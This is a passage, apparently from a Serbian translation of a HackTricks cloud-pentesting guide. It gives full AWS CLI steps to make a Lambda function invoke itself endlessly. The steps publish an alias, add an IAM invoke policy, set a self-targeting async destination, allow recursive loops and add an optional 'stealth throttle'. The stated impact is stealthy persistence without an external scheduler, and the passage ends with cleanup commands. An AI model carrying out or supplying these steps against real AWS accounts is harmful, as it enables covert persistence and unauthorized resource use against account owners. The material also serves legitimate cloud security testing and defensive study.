2) Objavite verziju i kreirajte/azurirajte alias (koristi se kao self destination)
```
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
aws lambda create-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
else
aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
fi
ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text)
```
3) Dozvoli da uloga za izvršavanje funkcije pozove alias (zahteva Lambda Destinations→Lambda)
```
# Set this to the execution role name used by the target function
ROLE_NAME=<lambda-execution-role-name>
cat > /tmp/invoke-self-policy.json <<EOF
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "lambda:InvokeFunction",
"Resource": "${ALIAS_ARN}"
}
]
}
EOF
aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
```
4) Podesite async destination na alias (self via alias) i onemogućite retries
```
aws lambda put-function-event-invoke-config \
--function-name "$TARGET_FN" \
--destination-config OnSuccess={Destination=$ALIAS_ARN} \
--maximum-retry-attempts 0 \
--region $REGION
# Verify
aws lambda get-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION --query DestinationConfig
```
5) Dozvoli rekurzivne petlje
```
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Allow --region $REGION
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION
```
6) Pokrenite jedan asinhroni invoke
```
aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed.json --region $REGION >/dev/null
```
7) Posmatrajte kontinuirane pozive (primeri)
```
# Recent logs (if the function logs each run)
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
# or check CloudWatch Metrics for Invocations increasing
```
8) Opcionalno stealth throttle
```
aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION
```
## Čišćenje
Prekini petlju i ukloni persistence.
```
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true
aws lambda delete-function-concurrency --function-name "$TARGET_FN" --region $REGION || true
# Optional: delete alias and remove the inline policy when finished
aws lambda delete-alias --function-name "$TARGET_FN" --name loop --region $REGION || true
ROLE_NAME=<lambda-execution-role-name>
aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true
```
## Uticaj
- Jedan async invoke uzrokuje da Lambda kontinuirano poziva samu sebe bez spoljnog scheduler-a, omogućavajući stealthy persistence/heartbeat. Reserved concurrency može ograničiti noise na jednu warm execution.
{{#include ../../../../banners/hacktricks-training.md}}

Some files were not shown because too many files have changed in this diff Show More